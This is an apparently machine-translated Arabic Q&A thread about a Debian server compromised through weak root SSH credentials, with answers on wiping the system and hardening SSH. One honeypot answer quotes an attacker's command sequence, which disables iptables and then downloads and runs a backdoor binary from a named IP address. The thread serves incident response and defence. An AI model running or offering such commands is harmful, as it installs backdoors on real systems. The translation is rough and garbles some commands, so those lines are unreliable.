أيضا استخدام fail2ban. - Shadur


أوه ، لقد تم اختراقك بالتأكيد. يبدو أن شخصًا ما قد تمكن من الحصول على بيانات اعتماد الجذر وحاول تنزيل طروادة على نظامك. قدمت MariusMatutiae تحليلا للحمولة.

اثنين من الأسئلة تنشأ: أ) هل كان المهاجم ناجحة؟ ب) ما الذي يمكنك فعله حيال ذلك؟

الجواب على السؤال الأول قد كن لا. لاحظ كيف حاول المهاجم مراراً وتكراراً تحميل وتنزيل الحمولة ، على ما يبدو دون نجاح. أظن أن شيئا ما (SELinux ، perchance؟) وقفت في طريقه.

ومع ذلك: المهاجم أيضا غيرت الخاص بك /etc/rc.d/rc.local الملف ، على أمل أنه عند إعادة تشغيل النظام الخاص بك ، سيتم تفعيل الحمولة. إذا لم تقم بإعادة تشغيل النظام بعد ، فلا تقم بإعادة التشغيل حتى تقوم بإزالة هذه التعديلات من /etc/rc.d/rc.local. إذا كنت قد قمت بالفعل بإعادة تشغيله ... حسنا ، حظا قويا.

فيما يتعلق بما يمكنك فعله حيال ذلك: إن أكثر الأشياء أمانًا هو مسح النظام وإعادة التثبيت من البداية. لكن هذا قد لا يكون دائمًا خيارًا. هناك شيء أقل أمانًا بكثير للقيام به هو تحليل ما حدث بالضبط ومسح كل أثر له ، إذا أمكنك ذلك. مرة أخرى ، إذا لم تقم بإعادة تشغيل النظام بعد ، فربما يكون كل ما يتطلبه الأمر نظيفًا /etc/rc.d/rc.local، قم بإزالة أي شيء تم تنزيله من قبل المهاجم ، وأخيرًا وليس آخرًا ، غيّر كلمة مرور الرتق!

ومع ذلك ، إذا كان المهاجم قادرًا بالفعل على تشغيل الحمولة ، فقد تكون هناك تعديلات أخرى على نظامك قد يصعب اكتشافها. وهذا هو السبب في أن المسح الكامل هو الخيار الوحيد الآمن (والموصى به). وكما أشرت ، قد تكون المعدات المعنية هدفاً للاختبار / التطوير ، لذلك ربما لا يكون الأمر مؤلماً بقدر ما قد يكون في حالات أخرى.

تحديث: بغض النظر عن ما كتبت عن الانتعاش ممكن ، أود أن أكرر صدى MariusMatutiae قوي جدا التوصية بعدم الاستهانة بالضرر المحتمل الذي تسببه هذه الحمولة ومدى تعرض النظام المستهدف للخطر.


33
2018-02-01 21:06



شكر. لقد قررت مسح النظام. أعدت تشغيله عدة مرات ولكن فقط لنسخ بعض البيانات الأساسية. لا ثنائيات ، فقط شفرة المصدر. أظن أنني آمن الآن - vaid
ماذا عن الصناديق الأخرى على نفس الشبكة المحلية؟ - WGroleau
سؤال جيد. لا يشير سجل shell الذي تم توفيره إلى أية محاولات لاكتشاف المربعات الأخرى الموجودة على نفس الشبكة أو اختراقها. بشكل عام ، إذا حصل المهاجم على وصول SSH (الجذر) إلى مربع ، فإنه يعني بشكل أساسي أنه قد تجاوز أي جدران حماية محيط. ومع ذلك ، فإنه لا يعني تلقائيًا أن المربعات الأخرى قد تعرضت للاختراق: من شأنها أن تتطلب شيئًا آخر مثل عدم الحصانة غير الثابتة ، وكلمات المرور المشتركة بين المربعات ، وتسجيل الدخول التلقائي من مربع إلى آخر وما إلى ذلك. - Viktor Toth


بلدي sshd-honeypot كما شهد هذا النوع من الهجوم. التحميلات الأولى من ذلك URL بدأت 2016-01-29 10:25:33 ولا تزال الهجمات مستمرة. الهجمات قادمة من

103.30.4.212
111.68.6.170
118.193.228.169

كان المدخلات من هؤلاء المهاجمين:

توقف خدمة iptables
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
مؤتمر نزع السلاح / تمة

لذلك لا توجد أنشطة بخلاف تثبيت الباب الخلفي لوقت لاحق.


17
2018-02-02 10:34



متفق عليه ، هو نفس MO. - MariusMatutiae
MariusMatutiae لذلك هذا ليس الاختراق اليدوي بعد ذلك؟ انها نوع من دودة / بوت الذاتي الانتشار؟ - NickG
NickG أفضل تخمين هو أن هذا لم يكن الاختراق اليدوي. ما هو احتمال العمل في المكتب نفسه كمنشئ لبوتنت في الصين؟ وجدت شخص ضعفا قابلا للاستغلال في جهازه ، على الأرجح خادم ssh المضمونة ضعيفة ، أجبرت brute- كلمة المرور الخاصة به ، والوصول اكتسابها ، حاول تثبيت نفسه خلسة. ومع ذلك ، أود أن أراهن أيضا أن المهاجم أكثر بطلاقة مع ويندوز من لينكس. ولكن ليس لدي الصعب دليل على ذلك ، مجرد تخمين متعلم. - MariusMatutiae


لقد قدم الجميع هنا نصيحة صلبة ، ولكن لكي تكون واضحًا ، يجب أن تتعزز أولوياتك والتحقق مما تحتاجه حقًا من هذا النظام ، ثم محو ذلك باستخدام تثبيت جديد من وسائط آمنة.

قبل توصيل المضيف المثبت حديثًا بالإنترنت ، قم بتشغيل هذه الأفكار:

  1. قم بإنشاء مستخدم جديد غير أساسي ، وقم بتسجيل الدخول باسم هذا المستخدم. يجب ألا تحتاج أبدًا لتسجيل الدخول كجذر ، فقط sudo (مستخدم بديل) عند الحاجة.

  2. تثبيت SE Linux ، إعدادات التكوين التي تمكن التحكم بالوصول الإلزامي: https://wiki.debian.org/SELinux/Setup

  3. ضع في اعتبارك جدار حماية الأجهزة بين المكتب / المنزل والإنترنت. أستخدم MicroTik ، الذي يتمتع بدعم المجتمع الممتاز: http://routerboard.com/.

بافتراض أنك تستخدم مخططًا زمنيًا لاستكمال العمل المدفوع ، على الأقل # 1. # 3 سريع ، ورخيص ، ولكن عليك إما الانتظار على الحزمة في البريد ، أو القيادة إلى المتجر.


11
2018-02-01 23:32



وقبل كل شيء ، لا تترك جهاز الكمبيوتر الخاص بك يعمل غير المراقب مع جلسة الجذر مفتوحة! - MariusMatutiae


  1. هو ديبيان-armhf اسمك المضيف؟ أو هل تستخدم تثبيت افتراضي مع الإعدادات الافتراضية؟ لا توجد مشكلة في ذلك ، ولكن لا ينبغي السماح للمضيف بالتعرض مباشرةً للإنترنت (بمعنى أنه غير محمي بواسطة المودم الخاص بك ، على الأقل).

  2. يبدو أن المشكلة الحقيقية قادمة من 222.186.30.209 (نرى http://anti-hacker-alliance.com/index.php؟ip=222.186.30.209). يجب أن لا تولي اهتماما كبيرا لرؤية مايكروسوفت IP. يمكن أن تكون عناوين IP مزورة / مزيفة بسهولة إلى حد ما.

  3. تتمثل الطريقة المعتادة للاتصال بالإنترنت في إرسال قائمة معروفة بالمنافذ من عنوان IP العام (مثل 8.8.8.8) إلى موقعك المحلي (على سبيل المثال 192.168.1.12).

    • على سبيل المثال ، لا تقم بإعادة توجيه كافة الاتصالات الواردة من 8.8.8.8 (عام) ل 192.168.1.12 (محلي).

    • إعادة توجيه المنافذ فقط 22 و 25 (ssh والبريد الوارد ، على التوالي). يجب عليك ، بالطبع ، أن يكون لديك ما يصل إلى التاريخ سه و بروتوكول نقل البريد الإلكتروني الحزم / المكتبات كذلك.

  4. ماذا بعد؟ افصل المضيف ، وقم بتغيير أي كلمات مرور (على أي أجهزة كمبيوتر مقترنة بالمؤسسة) التي تكون ضمنية في نصوص shell (عار عليك!) في /etc/shadow.


11
2018-02-01 13:03



1. نعم ديبيان-armhf هو اسم المضيف. 2. نعم لقد قرأت هذه المقالة ، وقمت بالاتصال بشركة Microsoft عبر موقع الويب الخاص بها cest.microsoft.com. 3. لقد قمت بإعادة توجيه 25 و 22 فقط ، ولم يكن هناك شيء آخر تم إعادة توجيهه. 4. سأفعل ذلك - vaid
"يمكن أن تكون IP مزيفة أكثر أو أقل سهولة": لست خبيراً في الأمن أو الشبكة. كيف يعقل ذلك؟ - kevinarpe
kevinarpe من المحتمل أن يكون هذا أفضل كثيرًا باعتباره سؤالًا منفصلاً. - α CVn
نرى stackoverflow.com/questions/5180557/... و superuser.com/questions/37687/... - Archemar
Archemar: SSH هو TCP ؛ تزوير بروتوكول TCP مصدر IP صعب إن لم يكن مستحيلاً. بالإضافة إلى ذلك ، كما هو مذكور أعلاه ، ينتمي Microsoft IP إلى خدمة السحابة الخاصة بهم Azure ، وهو ما يعني أن أي شخص كان يمكنه شراء الوقت على الخدمة لمهاجمة الآخرين. - nneonneo


كما ذكر آخرون ، من الواضح جدًا أن أمان الخادم قد تعرض للاختراق. الشيء الأسلم هو مسح هذا الجهاز وإعادة التثبيت.

للإجابة عن الجزء الثاني من سؤالك ، إذا كنت لا تستطيع استخدام مصادقة المفتاح العام ، فإنني أوصي بإعداد Fail2Ban على الأقل وتشغيل SSH على منفذ غير قياسي. أنا أيضا تعطيل الوصول الجذري SSH.

Fail2Ban سيساعد على التخفيف من هجمات القوة الغاشمة عن طريق حظر عناوين IP التي تفشل في تسجيل الدخول لعدد معين من المرات.

إن ضبط sshd للاستماع على منفذ غير قياسي سيساعد على الأقل على الحد من رؤية خادم SSH الخاص بك. تعطيل تسجيل الدخول الجذر يقلل أيضاً ملف تعريف الهجوم قليلاً. في /etc/sshd_config:

PermitRootLogin no
Port xxxxx

مع تعطيل تسجيل الدخول الجذر ، ستحتاج إلى التبديل إلى الجذر su بمجرد الاتصال ، أو (يفضل أكثر) استخدام sudo لتنفيذ الأوامر المتميزة.


9
2018-02-02 16:58



لقد فعلت كل من هؤلاء ، شكرا على النصيحة. - vaid


تتعرض خوادم SSH باستمرار للهجوم على الإنترنت. هناك شيئان تقوم بهما:

  1. تأكد من استخدام كلمة مرور عشوائية آمنة للغاية ، لأجهزة الوصول إلى الإنترنت. أعني مثل 16 حرفًا أو أكثر وعشوائية تمامًا. استخدم مدير كلمات المرور حتى لا تضطر إلى حفظه. إذا استطعت حفظ كلمة المرور الخاصة بك ، فهذا بسيط للغاية.

  2. إذا لم تكن بحاجة إلى SSH ، فقم بإيقاف تشغيله. إذا كنت بحاجة إليها ، ولكن لا تحتاج إليها بشكل عام ، فقم بتشغيلها على رقم منفذ عالي غير قياسي. سيؤدي القيام بذلك إلى تقليل محاولات الاختراق بشكل كبير. نعم ، يمكن لأي مخترق مخصص القيام بمسح للمنفذ ، ولكن لن تعثر عليه برامج التتبع الآلية.

يظهر المقتطف من سجل المصادقة محاولة فاشلة. ومع ذلك ، إذا نظرت إلى أبعد من ذلك ، فسترى بلا شك تسجيل دخول ناجح. إنك تستخدم كلمة مرور بسيطة ، ومن ثم فمن البسيط أن يدخل البوت.

تحتاج إلى عزل هذا الجهاز من الشبكة. أحصل بعناية فائقة على ما تحتاج إليه ، ثم امسحه.


8
2018-02-01 23:51



عندما اعتدت تشغيل ssh على المنفذ 22 ، عادةً ما يكون لدي الآلاف من محاولات الاختراق يوميًا. عندما قمت بالتغيير إلى رقم منفذ عالي (أكثر من 50000) ، توقفت محاولات الاختراق هذه تمامًا. - user1751825
16 حرفًا ليست آمنة بما فيه الكفاية. تسجيل خروج المستخدم هو مفيد أيضا. فقط لا تجعله قفلًا تجريبيًا ، اجعله ينتهي ، ولكن اجعله شيء مثل ساعة. بهذه الطريقة لا يزال بإمكانك الوصول إلى الخادم. - Ramhound
لاحظ أن الخطوة 2) ليست ضرورية تمامًا للأمان ، طالما لديك مصادقة قوية (مفتاح عام ، أو كلمة مرور قوية). - user20574
Ramhound لماذا لا؟ حتى لو كانت الأحرف الصغيرة فقط ، فإن 16 حرفًا صغيرًا تعطي 43608742899428874059776 إمكانيات ، وهو أمر غير عملي للقوة العنيفة ، خاصة بالنسبة إلى القوة الغاشمة عبر الإنترنت حيث يجعلك الخادم تنتظر في كل مرة تفشل فيها في المحاولة. - user20574
@ user20574. على الرغم من عدم الضرورة القصوى ، لا يزال تقليل مستوى رؤية خدمة SSH مفيدًا للغاية. حتى لو لسبب آخر غير لإزالة فوضى من سجلاتك. إذا كان الجهاز يحتاج فقط إلى الوصول إلى مجموعة محدودة من الأشخاص ، فإن المنفذ غير القياسي يعد خطوة معقولة تمامًا لتحسين الأمان. - user1751825


أول شيء يجب على أي شخص / شخص القيام به بعد إعداد خادم Linux / Unix المواجه للواجهة هو التعطيل الفوري root.

تم اختراق النظام الخاص بك. لديك سجل محفوظات قيد التشغيل قد يكون رائعًا للنظر إلى حدٍ ما. لكن تشريح التفاصيل صراحة هو قليلاً من الصعب إرضاءه ، ولن يساعدك في تأمين الخادم الخاص بك. ويظهر كل أنواع الهراء التي تحدث عندما تصيب الروبوتات التي أنتجت برامج ضارة - وهو على الأرجح ما يصيب خادمك - نظام لينكس. ال الإجابة المقدمة منMariusMatutiae هو لطيف ومدروس بشكل جيد وهناك آخرون الذين يكررون أنك اخترقت عبر root الوصول الذي هو حلم الرطب / botnet الرطب.

هناك بعض التوضيحات حول كيفية تعطيلها root ولكنني سأذكر من التجربة الشخصية ، فإن معظم الأشياء التي تتجاوز ما سأصفه الآن هي المبالغة. هذا ما انت ينبغي فعلت عند إعداد الخادم لأول مرة:

  1. إنشاء مستخدم جديد مع sudo حقوق: أنشئ مستخدمًا جديدًا باسم جديد - شيء من هذا القبيل cooldude- استخدام أمر مثل sudo adduser cooldude إذا كنت تستخدم Ubuntu أو أي نوع آخر من نظام Debian. ثم مجرد تحرير يدويا sudo ملف باستخدام أمر كهذا sudo nano /etc/sudoers وأضف خطًا مثل cooldude ALL=(ALL:ALL) ALL تحت الخط المكافئ الذي يجب قراءته root ALL=(ALL:ALL) ALL. مع القيام بذلك ، تسجيل الدخول باسم cooldude واختبار sudo الأمر مع أمر مثل sudo w- شيء أساسي وغير مدمر - لمعرفة ما إذا كان sudo العمل الحقوقي. قد تتم مطالبتك بكلمة مرور. انه يعمل انها تعمل؟ الامور جيدة! انتقل إلى الخطوة التالية.
  2. أقفل ال root الحساب: حسنا ، الآن cooldude هو المسؤول مع sudo حقوق ، تسجيل الدخول باسم cooldude وقم بتشغيل هذا الأمر لقفل حساب الجذر sudo passwd -l root. إذا قمت بطريقة ما بإنشاء زوج مفاتيح SSH لـ root، افتح /root/.ssh/authorized_keys وإزالة المفاتيح. أو الأفضل من ذلك ، فقط إعادة تسمية هذا الملف authorized_keys_OFF مثله، sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF لتعطيل مفاتيح SSH بشكل فعال. أنا أفضل ذلك لاحقًا لأنك لا تزال بحاجة إلى كلمة مرور أقل لتسجيل الدخول ، فبإمكانك فقط نقل هذا الملف مرة أخرى إلى الاسم الأصلي ويجب أن تكون جيدًا.

FWIW ، لقد قمت بإدارة العشرات من خوادم لينكس على مر السنين (عقود؟) وأعرف من التجربة التي تعطل ببساطة root- وإعداد مستخدم جديد مع sudo حقوق - هي أبسط وأسهل طريقة لتأمين أي نظام لينكس. لم يكن علي التعامل مع أي نوع من التنازلات عبر SSH مرة واحدة root معطل. ونعم ، قد ترى محاولات تسجيل الدخول عبر auth.log لكنهم بلا معنى إذا root يتم تعطيل هذه المحاولات لن تضيف أي شيء. مجرد الجلوس ومشاهدة محاولات تفشل ما لا نهاية!


6
2018-02-07 02:34